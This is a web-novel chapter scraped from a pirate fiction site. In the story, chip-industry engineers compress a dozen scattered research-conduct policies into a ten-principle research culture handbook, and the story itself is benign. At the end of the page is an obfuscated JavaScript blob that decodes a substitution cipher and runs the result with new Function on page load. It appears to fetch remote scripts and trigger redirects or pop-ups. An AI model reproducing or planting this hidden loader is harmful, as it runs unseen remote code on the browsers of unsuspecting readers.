首页
第477章 科研文化手册修订
返回
关灯 护眼:关 字号:小

第477章 科研文化手册修订发布

章节报错(免登陆)

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    科研失败记录与复盘制度运行满一个季度的那天,方敏在可验证墙的投票箱里收到了一份让她把会议桌清空的提案。提案不是写在纸条上的——是印巴装配厂人力资源专员用正式公函格式列印出来丶盖了节点人力资源章丶经王磊签字确认后寄到合城的。公函的内容只有一句话,附在五页手写意见书的首页:「印巴节点全体工艺工程师联名建议——将现有分散在十二份制度文件中的科研行为准则,整合为一本统一的科研文化手册。」
    五页意见书是法蒂玛执笔的,笔迹和她当年写结业报告时一模一样——每一个字母都压得很实,段与段之间留一行空白。她在意见书的开头写道:「印巴装配厂的夜班工程师在季度复盘会上问了一个问题——『我们的科研伦理规范丶失败记录标准丶内部透明化政策和导师制经验记录格式加起来有几百页,夜班凌晨三点调参数的时候,我应该先翻哪一本?』这个问题不是偷懒的藉口,是一个信号——制度太多丶太分散之后,制度本身的检索成本开始超过它的指导价值。」
    方敏把意见书转发给苏黛丶章宸和林薇,附言里写了一句话:「法蒂玛替印巴夜班工程师问出了我们一直没面对的问题——我们建了十二套制度,但没给它们建一个统一的目录。一个工程师在深夜面对一个需要伦理判断的操作时,没有时间翻十二本手册找适用条款。」
    苏黛在收到方敏邮件后的两小时内,把现有科研行为相关制度文件全部调了出来。她在桌面上铺开了十二份文件的目录页——科研伦理与公开发表规范丶科研失败记录与复盘制度框架丶内部透明化政策实施细则丶导师制隐性经验记录标准丶技术导师轮岗制差值经验分类标签丶数据治理细则丶学术合作拓展计划合规架构丶天罡生态治理规则中关于技术公开的条款丶法务预警系统数据留痕标准丶星火计划选拔与培养大纲丶铸芯训练营教案修订规范丶以及青年挑战赛参赛数据留痕要求。
    「十二份文件,合计四百一十七页。」苏黛在当天下午的跨部门协调会上把目录投影在屏幕上,「这还不包括每一份文件的修订记录丶附录和关联制度引用。一个入职六个月的工艺工程师,如果他想在做一个可能涉及数据舍入的工艺判断之前查阅所有相关的伦理条款,他需要先理解十二份文件的目录结构,然后在四个不同的内部系统里打开至少五份文件。这不是工程师的问题——这是制度设计的问题。」
    章宸从深度计算实验室接入会议时,带来了一个让会议室安静下来的类比。他把晶片架构设计中的「寄存器文件」概念翻译成了组织管理的语言:「一个处理器的寄存器文件是离运算单元最近的存储层——它的容量极小,但访问速度极快。工程师在做出实时判断时,他的大脑工作记忆相当于运算单元,他能即时调用的制度记忆相当于寄存器文件。寄存器文件的容量是有限的——如果制度条款太分散,检索路径太长,工程师就不会在执行操作前去查条款。不是他不愿意遵守制度——是他的认知负荷已经用在了技术判断上,没有剩余带宽去跑制度检索。」
    「所以问题不是制度不够多,是制度没有被编译成适合人脑寄存器文件运行的格式。」林薇接过章宸的话头,把追光三期那本纸质记录本推到了会议桌中央,「这本记录本为什么能让追光三期的工程师在深夜调参数时翻出来看?因为它只有一本,放在车间抽屉里,工程师知道它在哪里,翻开就能找到自己需要的那一页。四百一十七页的制度如果被编译成一本同样厚度的书,它还是会躺在抽屉里。但如果能被编译成一本工程师在操作前能在脑子里自己翻出来的东西——那个东西叫文化。」
    方敏在会议结束时被任命为科研文化手册编纂组的召集人。她没有把这个任命当成荣誉——她把它理解为一个需要在六周内把四百一十七页制度编译成一本可以被工程师在凌晨三点的洁净间里本能调用的小册子的任务。她在编纂组的第一次工作会议上把十二份制度的目录页贴在白板上,用红笔在每一份文件的名称旁边画了一个括号,括号里写着这份文件在工程师实际工作中的调用频率和调用场景。
    「调用频率最高的条款不是写的最多的条款。」方敏指着白板上的红笔标注,「科研伦理规范里的『数据舍入随机化原则』,条款正文只有半页,但它在追光产线上每周被调用几十次——每个做工艺参数微调的工程师在写调整记录之前都要在心里过一遍这个原则。失败记录标准里的『三层同心圆公开边界』,在季度复盘会前被集中调用,平时几乎不碰。内部透明化政策里的『模糊措辞禁用清单』,被郑工在版本巡检时做成了自动化校验——人不用翻了,机器帮你翻。我们要做的事不是把十二份文件按目录汇编成册——是按工程师的认知调用频率重新编排条款的层级和呈现方式。」
    宋瑾被邀请加入编纂组时,正带着造芯学院第二届新生做期末实训的结业评审。她把编纂组的需求翻译成了一道教学实验题——她在实训车间里选了十个工位,每个工位旁边放一份不同版本的制度条款摘要,然后观察学员在模拟工艺故障排查时,谁会主动翻阅手边的条款,翻到哪一页停下来,翻完之后做了什么判断。
    实验结果在三天后摆到了编纂组的会议上。十个工位中有六个学员主动翻阅了条款摘要——但翻阅的平均时间只有二十八秒。二十八秒内他们能读完的字数约在两百到三百字之间。读完条款之后有四个人修改了自己的判断,其中两人在修改后写下了修改依据,另外两人只修改了判断没有记录依据。
    「二十八秒。」宋瑾在黑板上写下这个数字,「这是工程师在深夜操作压力下愿意花在查阅制度条款上的平均时间窗口。我们假设他们会花十分钟仔细研读——那是坐在会议室里喝茶时的假设。真实产线上,二十八秒。这二十八秒里能读进去的内容,不超过三百字。三百字写不满任何一份制度文件的一页——但可以写满一张贴在设备旁边的告示。」
    宋瑾把那张贴在恒芯刻蚀机外面的「百分之零点七」告示的照片投影在屏幕上。「罗工的这张告示就是一本被编译成一张纸的科研文化手册。它包含了补偿值丶发现过程丶核对方法和更新日期。工程师在调整射频功率之前扫一眼,五秒读完,信息全在。科研文化手册如果不能在体量上接近这张告示的密度,它就只能在档案柜里落灰。」
    罗工从印巴装配厂通过视频接入编纂讨论。印巴那边是深夜,他刚刚结束和本地工艺团队关于供电电压波动补偿模型的第二轮讨论。他在屏幕上展示了他刚到印巴时在回流焊机操作面板旁边贴的一张新告示——「湿度-温度偏移速查表」。速查表只有巴掌大,用防水标签纸列印,上面印着三列数据:车间湿度区间丶对应的第七温区峰值温度偏移值丶偏移依据的记录编号。
    「我贴这张表的时候没想过它是不是『科研文化手册』的一部分。」罗工指着速查表说,「我只是用法蒂玛的记录和我的差值经验数据,做了一个操作工在凌晨三点能用五秒钟查到的工具。但方敏刚才说的『调用频率』和宋瑾说的『二十八秒』让我意识到——这张表就是手册的正确形态。不是把所有条款都写成这样——是把调用频率最高丶在操作压力下最容易忽略的那些条款,编译成这种五秒可查的格式。剩下的条款按调用场景分层——季度复盘会用的条款可以详细丶可以长,因为那时有半小时讨论时间。但凌晨三点调参数时用的条款,必须比这张表更短。」
    编纂组用四周完成了手册初稿。初稿的结构和传统的制度汇编完全不同——方敏在封面上方印了一行从章宸发言中摘出的标题:「科研文化手册——为工程师大脑里的寄存器文件而编」。手册主体分为三层结构。第一层是「即时调用层」——包含十条在操作现场最常被调用的核心原则,每条原则不超过两百字,配一张现场应用示例照片。十条原则的排列顺序不按制度来源分类,按工程师在工作流中遇到它们的时间顺序排列——从「进入洁净间第一个动作」到「提交数据前最后一个确认步骤」。第二层是「场景索引层」——按季度复盘会丶技术评审丶学术发表丶专利申报丶国际学术合作丶导师带教六个场景分类,每个场景下标注适用的制度条款和完整的查阅路径。第三层是「全文备查层」——包含十二份原始制度的全文连结和版本追溯记录,供需要深入了解条款立法背景和法理依据时使用。
    十条即时调用原则的筛选过程引发了编纂组内最激烈的争论。方敏坚持把「数据舍入随机化」放在第一条——因为追光三期的零点三度系统性偏差事件是科研伦理规范立法的源头。林薇主张把「失败记录三层公开边界」放在第一条——因为工程师在判断一个失败结果要不要记录时,第一个反应通常是「这算不算真正的失败」,而不是「这条记录该放在哪一层」。章宸提出把「不确定度必须标注到小数点后一位」放在第一条——因为内部透明化试点中模糊措辞使用率从百分之三十二降至百分之九的实践证明,不确定度的精确标注是撬动整个信息保真度体系的第一杠杆。
    最终定稿的十条原则排序,不是编纂组投票决定的——是方敏把十条原则的初选名单贴在可验证墙上,开放给六个节点的所有注册工程师进行为期一周的排序投票。投票规则很简单:你印象最深丶在深夜操作中主动想起过的那一条排在前面。投票结果在第五天出现了稳定的分布——「如实记录不确定度,比得出确定结论更重要」排在第一。「你排除的每一条路径,必须留下可检索的标记」排在第二。「学员在安全失败额度内的错误不被追责,但隐瞒错误会被追责」排在第三。科研伦理规范中那两条最核心的条款——「过程可追溯」和「偏差不隐藏」——分别排在第四和第五。
    「排序结果告诉我们一件事。」方敏在编纂组会议上把投票结果投在屏幕上,「工程师在操作压力下本能记住的,不是制度文件里措辞最严谨的条款——是那些在他们第一次犯错误时保护过他们的原则。『不确定度精确标注』保护了被零点三度偏差事件连累的人。『失败记录公开』保护了在季度复盘会上第一个站起来讲述自己跑废三轮配方的夜班工程师。『错误不追责』保护了阿姆娜第一次独立调错回流焊温度之后主动写进训练日志的决定。这些原则不是被制度委员会写进手册的——是被工程师在真实压力下用行动投票投进去的。」
    手册初稿在研发治理委员会和生态治理委员会联席审议时,陈醒在初稿扉页上写了一行批注:「手册的生效不是从审议通过那天开始——是从第一个工程师在深夜操作中不再需要翻查手册的那天开始。当十条即时调用原则变成肌肉记忆,手册才算真正被读完了。」
    审议通过后,手册的发布没有选择在报告厅举行发布仪式。方敏把发布时间定在合城深冬的一个夜班时段——晚上十一点二十分,正是六个节点的夜班工程师陆续进入工作节奏的时段。发布方式不是邮件通知加附件下载,是郑工在产线管理系统的主界面上推送了一条静默更新——每个工位的操作终端在工程师下一次点击「开始工艺」按钮时,屏幕上弹出一个对话框,内容只有一行字:「科研文化手册已上线。十条即时调用原则已加载至系统快捷查询键,按F3即可在当前界面右侧弹出速查窗。速查窗内每条原则附现场应用示例和关联制度编号。手册全文可在系统文档库检索。本次更新不中断产线操作。」
    印巴装配厂的夜班工程师阿姆娜是六个节点中第一个打开速查窗的人。她在准备调整回流焊第八温区参数时,习惯性地把手伸向键盘上的功能键区——这个动作已经被铸芯训练营的训练流程刻进了她的肌肉记忆。F3键按下后,屏幕右侧弹出一个半透明的速查窗,十条原则从上到下排列,第三条「错误不追责,但隐瞒会被追责」被系统根据她当前的操作类型自动高亮。阿姆娜在速查窗下方的备注栏里写了一行乌尔都语,翻译过来是:「法蒂玛导师教我的第一件事就是这条。现在它被写进手册了——以后我带的学员不用只听我说,他们可以自己按F3。」
    罗工在印巴产线的操作终端上看到了系统推送的英文版速查窗。他发现十条原则中排在第八位的那条——「补偿值必须公开张贴在被补偿设备的可见位置」——配图是他贴在恒芯刻蚀机外面的那张百分之零点七告示。他在速查窗的反馈按钮里写了一条建议:「配图建议增加印巴回流焊机上的湿度-温度偏移速查表。两条配图并列——一条来自合城洁净间,一条来自印巴产线。让翻阅手册的人看到,同一个原则在不同的环境里长出了不同的形状。」
    郑工在凌晨的版本巡检中看到了罗工的反馈。他在系统日志中写道:「手册配图更新已提交。一个原则在两种气候区丶两种设备上的两张配图,比任何文字说明都更精确地传递了『原则是通用的,应用是因地制宜的』这层意思。」
    方敏在可验证墙的科研文化手册专题展区里,把十条即时调用原则印在一张被设计成设备操作面板风格的展板上。每一条原则旁边有一个可按压的按钮——按下按钮,展板上方屏幕播放一段该原则对应的真实案例记录。排在第三位的按钮播放的是恒芯夜班工程师在季度复盘会上讲述三轮底部填充材料配方失败案例的视频片段。排在第五位的按钮播放的是法蒂玛把湿度计校准责任交给阿姆娜时写在黑板墙上的那句话——「每天早上七点十分看。」
    手册展区的末端照例留了一块空白墙。墙上贴着一张方敏手写的便签:「手册不是完成品——是下一个版本的讨论稿。第一行需要修改的条款,应该由第一个发现它不够用的人来标记。」便签下方印着一行从手册编纂原则中摘出的话:「科研文化的最高形态不是一本写满规则的书——是工程师在不翻阅规则的情况下,做出的判断仍然和规则的初衷方向一致。手册存在的终极目的,是让手册不再被需要。」
    而在合城造芯学院的大阶梯教室里,宋瑾把科研文化手册的发布做成了第二届新生的一堂讨论课。她在黑板上写了一个问题:「如果有一天,产线管理系统的F3快捷键坏了,你还能在凌晨三点做出符合十条原则的判断吗?」
    一个学员在讨论区写道:「如果法蒂玛导师教过我湿度计每天早上七点十分看,她不是教了我一条规则——她是在我的脑子里装了一个不需要按F3也能自动弹出的速查窗。」
    宋瑾在这段讨论记录下面批了一行字:「手册是写在屏幕上的,文化是写在人的判断习惯里的。你们带下一批学员的时候,不用让他们背十条原则——让他们在安全失败额度里做三次独立判断,做对一次,做错两次,复盘完三次,十条原则里的至少六条会自己长出来。」
    窗外,追光五期的钢结构在隆冬的寒风中已经吊装到了第十五层,焊花的蓝光在天际线上稳定地闪烁着。恒芯封装试产线洁净间里,联合培养首期博士生正在罗工轮岗期间由年轻工艺工程师带教完成第一次独立矽通孔工艺窗口测试,测试数据按科研文化手册第三层「全文备查层」连结的留痕标准实时上传至可验证墙。而在日内瓦,陆瑾将科研文化手册英文版摘要纳入了第四轮技术磋商材料更新包,提交函中写道:「该手册展示了一家技术机构将四百一十七页分散制度编译为十条即时调用原则的方法论。该方法论本身——如何把制度从文件柜迁移到工程师的认知内存里——或可为技术证据跨境采信互认框架中关于『制度有效性验证』的讨论提供新的参考维度。」
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();